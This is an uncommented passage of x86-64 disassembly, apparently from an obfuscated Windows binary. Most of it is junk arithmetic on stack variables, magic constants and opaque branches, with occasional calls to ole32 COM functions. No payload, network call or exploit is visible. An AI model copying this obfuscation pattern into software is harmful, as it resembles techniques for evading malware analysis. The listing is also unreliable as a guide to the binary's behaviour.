mov ecx, dword [rsp + 0x209c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a78]
mov rcx, qword [rsp + 0x3f90]
mov qword [rsp + 0x3fc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3fc0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
mov rax, qword [0x1401a0008]
mov rcx, qword [rsp + 0x3fa8]
mov qword [rsp + 0x3fc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3fc8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x3f98], rax
mov rax, qword [rsp + 0x3fa8]
mov rcx, qword [rsp + 0x3f98]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x3fa8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xf9]
and eax, 0x79
mov byte [rsp + 0xf9], al
mov eax, dword [rsp + 0x20e8]
mov ecx, dword [rsp + 0x2084]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x20a0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f90]
movabs rcx, 0x6daf094480264aaa
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3a78], rax
movzx eax, word [rsp + 0x8ec]
sub eax, 0x354
mov word [rsp + 0x8ec], ax
mov eax, dword [rsp + 0x208c]
inc eax
mov dword [rsp + 0x208c], eax
mov rax, qword [0x1401a0008]
mov rcx, qword [rsp + 0x3f98]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3fa8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x8ec]
and eax, 0x63d
mov word [rsp + 0x8ec], ax
jmp 0x140056d35
mov eax, dword [rsp + 0x20a0]
mov ecx, dword [rsp + 0x20e8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f90]
movabs rcx, 0x47ff414f13c1fe2c
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3a78], rax
mov rax, qword [rsp + 0x3f90]
mov rcx, qword [rsp + 0x3a78]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
mov eax, dword [rsp + 0x20a0]
movzx ecx, al
mov eax, dword [rsp + 0x2084]
shl eax, cl
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3fa8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3f98]
shr rax, cl
mov qword [0x1401a0008], rax
movzx eax, byte [rsp + 0xf9]
xor eax, 0x1e
mov byte [rsp + 0xf9], al
mov rax, qword [rsp + 0x3f90]
mov rcx, qword [rsp + 0x3a78]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
mov eax, dword [rsp + 0x20b4]
add eax, 0xc8
mov dword [rsp + 0x20b4], eax
mov rax, qword [rsp + 0x3fa8]
mov rcx, qword [0x1401a0008]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3fa8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3f90]
movabs rcx, 0x4bd49a452dd4708a
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3a78], rax
mov eax, dword [rsp + 0x20a0]
mov ecx, dword [rsp + 0x209c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f90]
mov rcx, qword [rsp + 0x3a78]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
mov eax, dword [rsp + 0x20a0]
mov ecx, dword [rsp + 0x20e8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f90]
movabs rcx, 0x2b49d6de67e6cbe8
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3a78], rax
mov rax, qword [rsp + 0x3f90]
mov rcx, qword [rsp + 0x3a78]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
movzx eax, word [rsp + 0x8ec]
and eax, 0xa2e
mov word [rsp + 0x8ec], ax
movabs rax, 0x663c958808f2e93c
mov rcx, qword [rsp + 0x3a78]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
movabs rax, 0x63ee0c4a8ee3d5ca
mov rcx, qword [rsp + 0x3a78]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
mov eax, dword [rsp + 0x20a0]
movzx ecx, al
mov eax, dword [rsp + 0x209c]
shr eax, cl
mov dword [rsp + 0x2084], eax
mov rax, qword [rsp + 0x3f90]
mov rcx, qword [rsp + 0x3a78]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
mov rax, qword [0x1401a0008]
movzx ecx, al
mov rax, qword [rsp + 0x3f98]
shl rax, cl
mov rcx, qword [rsp + 0x3fa8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3f90]
movabs rcx, 0x4ab164b0e3aaeb0b
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3a78], rax
movzx eax, byte [rsp + 0xf9]
and eax, 0x68
mov byte [rsp + 0xf9], al
movzx eax, word [rsp + 0x8ec]
add eax, 0x217
mov word [rsp + 0x8ec], ax
mov rax, qword [rsp + 0x3fa8]
mov rcx, qword [rsp + 0x3f98]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1401a0008], rax
mov rax, qword [rsp + 0x3f90]
mov rcx, qword [rsp + 0x3a78]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3fa8]
mov rcx, qword [0x1401a0008]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3f98], rax
mov eax, dword [rsp + 0x20a0]
mov ecx, dword [rsp + 0x2084]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f90]
mov rcx, qword [rsp + 0x3a78]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
movabs rax, 0x76b42891dd2bcfc1
mov rcx, qword [rsp + 0x3a78]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xf9]
and eax, 0xdb
mov byte [rsp + 0xf9], al
movzx eax, byte [rsp + 0xf9]
or eax, 0x96
mov byte [rsp + 0xf9], al
mov eax, dword [rsp + 0x20e8]
mov ecx, dword [rsp + 0x20a0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x209c], eax
mov rax, qword [rsp + 0x3fa8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3f98]
shl rax, cl
mov qword [0x1401a0008], rax
movzx eax, byte [rsp + 0xf9]
sar eax, 1
mov byte [rsp + 0xf9], al
mov rax, qword [rsp + 0x3f90]
mov rcx, qword [rsp + 0x3a78]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
mov rax, qword [0x1401a0008]
mov rcx, qword [rsp + 0x3f98]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3fa8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x20e8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
cmp dword [rsp + 0x20b4], 0xcd2f
jbe 0x140057022
mov rax, qword [rsp + 0x3f90]
mov rcx, qword [rsp + 0x3a78]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3fa8]
mov rcx, qword [rsp + 0x3f98]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3fa8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3fa8]
mov rcx, qword [0x1401a0008]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3f98], rax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x209c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f90]
mov rcx, qword [rsp + 0x3a78]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3fa8]
mov rcx, qword [0x1401a0008]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3f98], rax
mov eax, dword [rsp + 0x20e0]
add eax, 0xe5
mov dword [rsp + 0x20e0], eax
mov rax, qword [rsp + 0x3f90]
movabs rcx, 0x3bb4d25326145eb7
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3a78], rax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x2084]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x209c]
mov rcx, qword [rsp + 0x3f38]
mov qword [rsp + 0x3fd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3fd0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x20a0], eax
mov rax, qword [rsp + 0x3fa8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1401a0008]
shr rax, cl
mov qword [rsp + 0x3f98], rax
mov rax, qword [rsp + 0x3f90]
movabs rcx, 0x13874976175bfd7d
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x3a78], rax
mov rax, qword [rsp + 0x3f90]
mov rcx, qword [rsp + 0x3a78]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3fa8]
mov rcx, qword [0x1401a0008]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3fa8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3fa8]
mov rcx, qword [rsp + 0x3f98]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1401a0008], rax
mov rax, qword [rsp + 0x3f90]
movabs rcx, 0x4c2da1f9c63cee4a
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3a78], rax
movzx eax, word [rsp + 0x8ec]
and eax, 0xe7
mov word [rsp + 0x8ec], ax
mov rax, qword [rsp + 0x3fa8]
mov rcx, qword [rsp + 0x3f98]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3fa8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xf9]
add eax, 0x3d
mov byte [rsp + 0xf9], al
cmp dword [rsp + 0x20e0], 0xf464
jb 0x140057475
lea rax, [rsp + 0x3a78]
mov qword [rsp + 0x3fd8], rax
lea rax, [rsp + 0x209c]
mov qword [rsp + 0x3fe0], rax
movzx eax, byte [rsp + 0xf9]
mov byte [rsp + 0xfa], al
mov dword [rsp + 0x20ec], 0x676
mov rax, qword [rsp + 0x3fe0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x209c]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x2084]
mov edx, dword [rsp + 0x20a0]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x1400578d7
mov rax, qword [rsp + 0x3f98]
mov qword [rsp + 0x3fe8], rax
cmp qword [rsp + 0x3fe8], 0
je 0x14005774c
jmp 0x140057897
mov byte [rsp + 0xfb], 0x49
mov dword [rsp + 0x20f0], 0xd4e0
movzx eax, byte [rsp + 0xfa]
mov byte [rsp + 0xfc], al
mov dword [rsp + 0x20f4], 0x9a37
mov rax, qword [rsp + 0x3a78]
mov qword [rsp + 0x3ff0], rax
movabs rax, 0x4af6baf9063e38a7
cmp qword [rsp + 0x3ff0], rax
je 0x1400577a2
jmp 0x140057895
movzx eax, word [rsp + 0x8ec]
cmp eax, 0x699
jle 0x140057895
mov rax, qword [rsp + 0x3fd8]
mov rcx, qword [rsp + 0x3a78]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3fd8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x8ec]
mov dword [rsp + 0x20f8], eax
cmp dword [rsp + 0x20f8], 0xa46
je 0x140057878
cmp dword [rsp + 0x20f8], 0xf5a
je 0x140057808
jmp 0x140057895
movzx eax, word [rsp + 0x8ec]
xor eax, 0xef
mov word [rsp + 0x8ec], ax
mov eax, dword [rsp + 0x20e8]
mov rcx, qword [rsp + 0x3f38]
mov qword [rsp + 0x3ff8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3ff8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x3fe0]
mov dword [rcx], eax
mov r9, qword [rsp + 0x3f98]
movzx r8d, word [rsp + 0x8ec]
mov rax, qword [rsp + 0x3f38]
mov edx, dword [rax]
movzx ecx, byte [rsp + 0xfb]
call fcn.140153480
nop
jmp 0x140057895
lea rdx, [rsp + 0x17fb8]
lea rcx, [rsp + 0x17e48]
call qword [sym.imp.ole32.dll_CoGetTreatAsClass]
mov dword [rsp + 0x20fc], eax
jmp 0x1400578d7
mov rax, qword [rsp + 0x3fa8]
mov rax, qword [rax]
mov rcx, qword [0x1401a0008]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x3f98], rax
mov rax, qword [0x1401a0008]
movzx ecx, al
mov rax, qword [rsp + 0x3f98]
shl rax, cl
mov rcx, qword [rsp + 0x3fa8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x20e8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3fa8]
mov rcx, qword [rsp + 0x3f98]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3fa8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x8ec]
sub eax, 0xefa
mov word [rsp + 0x8ec], ax
movsx eax, byte [rsp + 0xfb]
sub eax, 0x5a
mov byte [rsp + 0xfb], al
mov rax, qword [0x1401a0008]
mov rcx, qword [rsp + 0x3f98]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3fa8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x8ec]
and eax, 0x9b3
mov word [rsp + 0x8ec], ax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x20a0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3fe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f90]
mov rcx, qword [rsp + 0x3fd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3a78], rax
mov rax, qword [rsp + 0x3f90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3a78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3fd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3f38]
mov rcx, qword [rsp + 0x3fe0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3fd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3a78]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3f90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3a78]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3fd8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xfb]
sar eax, 7
mov byte [rsp + 0xfb], al
mov eax, dword [rsp + 0x20e8]
mov rcx, qword [rsp + 0x3f38]
mov qword [rsp + 0x4000], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4000]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x20a0], eax
mov eax, dword [rsp + 0x20ec]
add eax, 0x41
mov dword [rsp + 0x20ec], eax
mov rax, qword [rsp + 0x3fa8]
mov rcx, qword [rsp + 0x3f98]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3fa8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x20e8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x20a0], eax
mov rax, qword [rsp + 0x3fd8]
mov rcx, qword [rsp + 0x3f90]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3a78], rax
mov eax, dword [rsp + 0x20e8]
mov ecx, dword [rsp + 0x2084]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x20a0], eax
mov eax, dword [rsp + 0x20e8]
mov ecx, dword [rsp + 0x20a0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3fe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x2084]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
cmp dword [rsp + 0x20ec], 0x941
jb 0x1400578d7
lea rax, [rsp + 0xfb]
mov qword [rsp + 0x4008], rax
movsx eax, byte [rsp + 0xfb]
and eax, 0x2c
mov rcx, qword [rsp + 0x4008]
movsx ecx, byte [rcx]
cmp eax, ecx
jge 0x140057b97
mov rax, qword [rsp + 0x3f38]
mov rcx, qword [rsp + 0x3fe0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
jmp 0x1401531d0
mov rax, qword [rsp + 0x3f38]
mov rcx, qword [rsp + 0x3fe0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2084], eax
mov rax, qword [rsp + 0x3fa8]
mov rax, qword [rax]
mov qword [rsp + 0x4010], rax
mov dword [rsp + 0x2100], 0xacfa
lea rax, [rsp + 0x3a78]
mov qword [rsp + 0x4018], rax
mov rax, qword [rsp + 0x3f98]
mov qword [rsp + 0x4020], rax
movabs rax, 0x1db9f8dbba443a98
cmp qword [rsp + 0x4020], rax
je 0x140057c7b
movabs rax, 0x8019dc4e14160bf5
cmp qword [rsp + 0x4020], rax
je 0x140057c1f
jmp 0x140057d46
lea rdx, [rsp + 0x183e0]
lea rcx, [rsp + 0x17e58]
call qword [sym.imp.ole32.dll_CoGetObjectContext]
mov dword [rsp + 0x20fc], eax
mov rax, qword [rsp + 0x3fa8]
mov rcx, qword [0x1401a0008]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4010], rax
mov rax, qword [rsp + 0x3fe0]
mov ecx, dword [rsp + 0x209c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
jmp 0x140057d46
mov rax, qword [rsp + 0x3f38]
mov eax, dword [rax]
mov dword [rsp + 0x2104], eax
cmp dword [rsp + 0x2104], 0xd7c8bbf6
je 0x140057c9e
jmp 0x140057d33
call qword [sym.imp.ole32.dll_CoUninitialize]
nop
mov rax, qword [rsp + 0x3fd8]
mov rax, qword [rax]
mov qword [rsp + 0x4028], rax
movabs rax, 0x235aa7f0a362f980
cmp qword [rsp + 0x4028], rax
je 0x140057d1e
movabs rax, 0x4dbad15bb3c3c552
cmp qword [rsp + 0x4028], rax
je 0x140057ce2
jmp 0x140057d31
mov rax, qword [rsp + 0x3fd8]
mov rcx, qword [rsp + 0x3a78]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4018]
mov qword [rcx], rax
movzx edx, byte [rsp + 0xfa]
mov rax, qword [rsp + 0x3f90]
mov rcx, qword [rax]
call fcn.140154b70
nop
jmp 0x140057d31
movzx eax, word [rsp + 0x8ec]
shl eax, 4
mov word [rsp + 0x8ec], ax
jmp 0x140057d46
mov ecx, 0x9a
call qword [sym.imp.ole32.dll_CoTaskMemAlloc]
mov qword [rsp + 0x4030], rax
mov eax, dword [rsp + 0x20e8]
mov rcx, qword [rsp + 0x3f38]
mov qword [rsp + 0x4038], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4038]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x3fe0]
mov edx, dword [rsp + 0x20a0]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
jne 0x140057e5b
movzx eax, byte [rsp + 0xfb]
mov byte [rsp + 0xfd], al
movzx eax, word [rsp + 0x8ec]
mov dword [rsp + 0x2108], eax
cmp dword [rsp + 0x2108], 0x123
je 0x140057db7
jmp 0x140057e3b
lea rax, [rsp + 0xf9]
mov qword [rsp + 0x4040], rax
mov dword [rsp + 0x210c], 0x61bc
lea rax, [rsp + 0x3f98]
mov qword [rsp + 0x4048], rax
mov dword [rsp + 0x2110], 0xed86
lea rax, [rsp + 0x20e8]
mov qword [rsp + 0x4050], rax
mov dword [rsp + 0x2114], 0xaf99
lea rax, [rsp + 0x3a78]
mov qword [rsp + 0x4058], rax
mov dword [rsp + 0x2118], 0x55ba
movsx eax, byte [rsp + 0xfd]
movsx ecx, byte [rsp + 0xfb]
sub eax, ecx
mov byte [rsp + 0x7c], al
jmp 0x140057e5b
mov rax, qword [rsp + 0x4050]
mov rcx, qword [rsp + 0x3fe0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4050]
mov dword [rcx], eax
cmp dword [rsp + 0x2110], 0xf272
je 0x1400582a1
mov rax, qword [rsp + 0x3fd8]
mov rcx, qword [rsp + 0x4018]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3a78], rax
mov eax, dword [rsp + 0x2110]
add eax, 0x69
mov dword [rsp + 0x2110], eax
movzx eax, byte [rsp + 0xf9]
movzx ecx, byte [rsp + 0xfa]
add eax, ecx
mov rcx, qword [rsp + 0x4040]
mov byte [rcx], al
movzx eax, byte [rsp + 0xfa]
movzx ecx, byte [rsp + 0xfc]
sub eax, ecx
mov rcx, qword [rsp + 0x4040]
mov byte [rcx], al
mov rax, qword [rsp + 0x3fa8]
mov rcx, qword [rsp + 0x4048]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4010], rax
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfb]
and eax, ecx
mov byte [rsp + 0xfd], al
mov rax, qword [rsp + 0x3fe0]
mov ecx, dword [rsp + 0x20e8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x20a0], eax
mov rax, qword [rsp + 0x4018]
mov rcx, qword [rsp + 0x3a78]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4058]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xfa]
movzx ecx, byte [rsp + 0xf9]
sar eax, cl
mov rcx, qword [rsp + 0x4040]
mov byte [rcx], al
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfd]
xor eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
movsx eax, byte [rsp + 0x7c]
movsx ecx, byte [rsp + 0xfd]
shl eax, cl
mov byte [rsp + 0xfb], al
mov rax, qword [rsp + 0x3f90]
mov rcx, qword [rsp + 0x3a78]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3fd8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x8ec]
and eax, 0x2c7
mov word [rsp + 0x8ec], ax
mov rax, qword [rsp + 0x3fe0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x209c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2084], eax
mov rax, qword [rsp + 0x3fe0]
mov rcx, qword [rsp + 0x3f38]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4050]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4048]
mov rcx, qword [rsp + 0x3f98]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3fa8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4018]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3a78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x7c]
movsx ecx, byte [rsp + 0xfd]
add eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7c]
sub eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
movzx eax, byte [rsp + 0xfa]
movzx ecx, byte [rsp + 0xf9]
add eax, ecx
mov rcx, qword [rsp + 0x4040]
mov byte [rcx], al
movsx eax, byte [rsp + 0x7c]
movsx ecx, byte [rsp + 0xfd]
and eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
mov rax, qword [rsp + 0x4040]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfc]
or eax, ecx
mov byte [rsp + 0xf9], al
mov rax, qword [rsp + 0x3f90]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3a78]
sar rax, cl
mov rcx, qword [rsp + 0x4018]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4048]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4010]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x3f98], rax
mov rax, qword [rsp + 0x3a78]
mov rcx, qword [rsp + 0x3fd8]
mov qword [rsp + 0x4060], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4060]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x3fd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3fe0]
mov rcx, qword [rsp + 0x4050]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3fe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7c]
add eax, ecx
mov byte [rsp + 0xfd], al
mov rax, qword [rsp + 0x3f90]
mov rcx, qword [rsp + 0x4058]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3fd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4048]
mov rcx, qword [rsp + 0x3fa8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1401a0008], rax
movsx eax, byte [rsp + 0xfb]
movsx ecx, byte [rsp + 0x7c]
sub eax, ecx
mov byte [rsp + 0xfd], al
movzx eax, word [rsp + 0x8ec]
add eax, 0x59b
mov word [rsp + 0x8ec], ax
mov rax, qword [rsp + 0x3f90]
mov rcx, qword [rsp + 0x4018]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3a78], rax
mov rax, qword [rsp + 0x4050]
mov ecx, dword [rsp + 0x20e8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3fe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f90]
mov rcx, qword [rsp + 0x4058]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3a78], rax
mov rax, qword [rsp + 0x4048]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4010]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3fa8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfb]
add eax, ecx
mov byte [rsp + 0xfd], al
jmp 0x140057e5b
movzx eax, byte [rsp + 0xfa]
mov rcx, qword [rsp + 0x4040]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xf9], al
mov rax, qword [rsp + 0x4048]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3fa8]
mov qword [rsp + 0x4068], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4068]
mov rax, qword [rax]
shl rax, cl
mov qword [0x1401a0008], rax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x2084]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3fe0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xfc]
movzx ecx, byte [rsp + 0xfa]
sar eax, cl
mov rcx, qword [rsp + 0x4040]
mov byte [rcx], al
movsx eax, byte [rsp + 0xfb]
mov rcx, qword [rsp + 0x4008]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xfd], al
mov rax, qword [rsp + 0x4048]
mov rcx, qword [rsp + 0x4010]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3fa8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4050]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20e8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3fe0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2114]
sub eax, 0xca
mov dword [rsp + 0x2114], eax
movzx eax, word [rsp + 0x8ec]
and eax, 0xab
